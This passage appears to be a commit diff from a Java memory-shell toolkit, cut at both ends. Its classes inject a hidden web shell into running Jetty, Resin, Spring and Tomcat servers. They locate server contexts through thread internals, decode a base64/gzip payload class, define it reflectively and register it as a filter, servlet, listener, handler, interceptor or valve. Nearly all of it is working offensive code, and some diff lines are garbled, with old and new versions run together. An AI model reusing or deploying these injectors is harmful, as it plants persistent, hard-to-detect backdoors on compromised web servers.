byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -18,7 +19,8 @@ import java.util.zip.GZIPInputStream;
public class JettyFilterInjector { public class JettyFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -33,16 +35,21 @@ public class JettyFilterInjector {
} }
public JettyFilterInjector() { public JettyFilterInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +58,7 @@ public class JettyFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -154,8 +162,8 @@ public class JettyFilterInjector {
* org.eclipse.jetty.ee9.webapp.WebAppContext * org.eclipse.jetty.ee9.webapp.WebAppContext
* org.eclipse.jetty.ee10.webapp.WebAppContext * org.eclipse.jetty.ee10.webapp.WebAppContext
*/ */
private List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -0,0 +1,254 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class JettyHandlerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public JettyHandlerInjector() {
if (ok) {
return;
}
Object server = null;
try {
server = getServer();
} catch (Throwable throwable) {
msg += "server error: " + getErrorMessage(throwable);
}
if (server == null) {
msg += "server not found";
} else {
try {
msg += ("server: [" + server + "] ");
Object shell = getShell(server);
inject(server, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
ok = true;
System.out.println(msg);
}
public void inject(Object server, Object handler) throws Exception {
Object nextHandler = getFieldValue(server, "_handler");
if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
return;
}
validateHandler(handler);
setFieldValue(handler, "nextHandler", nextHandler);
setFieldValue(handler, "_server", server);
setFieldValue(server, "_handler", handler);
// jetty6
try {
invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler});
} catch (Throwable ignored) {
}
// jetty 7/8/9/10/11/12
try {
invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true});
} catch (Throwable ignored) {
}
}
public void validateHandler(Object shell) throws Exception {
Class<?> handlerClass = shell.getClass().getSuperclass();
Method rightHandleMethod = null;
for (Method method : handlerClass.getMethods()) {
if (method.getName().equals("handle")) {
rightHandleMethod = method;
}
}
shell.getClass().getMethod(
"handle",
rightHandleMethod.getParameterTypes()
);
}
@Override
public String toString() {
return msg;
}
/**
* org.eclipse.jetty.server.Server
*/
private Object getServer() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
}
}
}
}
} catch (Exception ignored) {
}
}
return null;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.EventListener;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -19,19 +16,25 @@ import java.util.zip.GZIPInputStream;
*/ */
public class JettyListenerInjector { public class JettyListenerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public JettyListenerInjector() { public JettyListenerInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -40,6 +43,7 @@ public class JettyListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -68,8 +72,8 @@ public class JettyListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
private List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -16,7 +17,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class JettyServletInjector { public class JettyServletInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -31,16 +33,21 @@ public class JettyServletInjector {
} }
public JettyServletInjector() { public JettyServletInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +56,7 @@ public class JettyServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -77,8 +85,8 @@ public class JettyServletInjector {
} }
} }
private List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinFilterInjector { public class ResinFilterInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -29,16 +30,21 @@ public class ResinFilterInjector {
} }
public ResinFilterInjector() { public ResinFilterInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -47,6 +53,7 @@ public class ResinFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -71,7 +78,7 @@ public class ResinFilterInjector {
* com.caucho.server.webapp.Application * com.caucho.server.webapp.Application
* /usr/local/resin3/lib/resin.jar * /usr/local/resin3/lib/resin.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
@@ -87,7 +94,7 @@ public class ResinFilterInjector {
contexts.add(webApp); contexts.add(webApp);
} }
} }
return Arrays.asList(contexts.toArray()); return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -17,7 +17,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinListenerInjector { public class ResinListenerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -28,16 +29,21 @@ public class ResinListenerInjector {
} }
public ResinListenerInjector() { public ResinListenerInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -46,6 +52,7 @@ public class ResinListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -66,7 +73,7 @@ public class ResinListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
@@ -82,7 +89,7 @@ public class ResinListenerInjector {
contexts.add(webApp); contexts.add(webApp);
} }
} }
return Arrays.asList(contexts.toArray()); return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinServletInjector { public class ResinServletInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class ResinServletInjector {
} }
public ResinServletInjector() { public ResinServletInjector() {
List<Object> contexts = null; if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += "context: [" + getContextRoot(context) + "] ";
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class ResinServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -68,7 +75,7 @@ public class ResinServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
@@ -80,7 +87,7 @@ public class ResinServletInjector {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
return Arrays.asList(contexts.toArray()); return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -19,7 +19,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebFluxHandlerFunctionInjector { public class SpringWebFluxHandlerFunctionInjector {
private String msg = ""; private static String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -16,7 +16,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebMvcControllerHandlerInjector { public class SpringWebMvcControllerHandlerInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -31,20 +32,28 @@ public class SpringWebMvcControllerHandlerInjector {
} }
public SpringWebMvcControllerHandlerInjector() { public SpringWebMvcControllerHandlerInjector() {
if (ok) {
return;
}
Object context = null; Object context = null;
try { try {
context = getContext(); context = getContext();
} catch (Throwable e) { } catch (Throwable e) {
msg += "context error: " + getErrorMessage(e); msg += "context error: " + getErrorMessage(e);
} }
try { if (context == null) {
Object shell = getShell(); msg += "context not found";
msg += "context: [" + context + "] "; } else {
inject(context, shell); try {
msg += "[" + getUrlPattern() + "] ready\n"; Object shell = getShell();
} catch (Throwable e) { msg += "context: [" + context + "] ";
msg += "failed " + getErrorMessage(e) + "\n"; inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,7 +16,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebMvcInterceptorInjector { public class SpringWebMvcInterceptorInjector {
private String msg = ""; private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -27,20 +28,28 @@ public class SpringWebMvcInterceptorInjector {
} }
public SpringWebMvcInterceptorInjector() { public SpringWebMvcInterceptorInjector() {
if (ok) {
return;
}
Object context = null; Object context = null;
try { try {
context = getContext(); context = getContext();
} catch (Throwable e) { } catch (Throwable e) {
msg += "context error: " + getErrorMessage(e); msg += "context error: " + getErrorMessage(e);
} }
try { if (context == null) {
Object shell = getShell(); msg += "context not found";
msg += "context: [" + context + "] "; } else {
inject(context, shell); try {
msg += "[/*] ready\n"; Object shell = getShell();
} catch (Throwable e) { msg += "context: [" + context + "] ";
msg += "failed " + getErrorMessage(e) + "\n"; inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import org.objectweb.asm.*; import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,6 +21,10 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
return "{{advisorName}}"; return "{{advisorName}}";
} }
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst); launch(inst);
} }
@@ -42,6 +49,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) { if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try { try {
ClassReader cr = new ClassReader(bytes); ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -70,7 +78,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} }
return mv; return mv;
} }
@@ -150,4 +158,58 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
return index; return index;
} }
} }
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
} }
@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import org.objectweb.asm.*; import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,6 +21,10 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
return "{{advisorName}}"; return "{{advisorName}}";
} }
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst); launch(inst);
} }
@@ -42,6 +49,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) { if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try { try {
ClassReader cr = new ClassReader(bytes); ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -70,7 +78,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new TomcatFilterChainAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} }
return mv; return mv;
} }
@@ -150,4 +158,58 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
return index; return index;
} }
} }
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
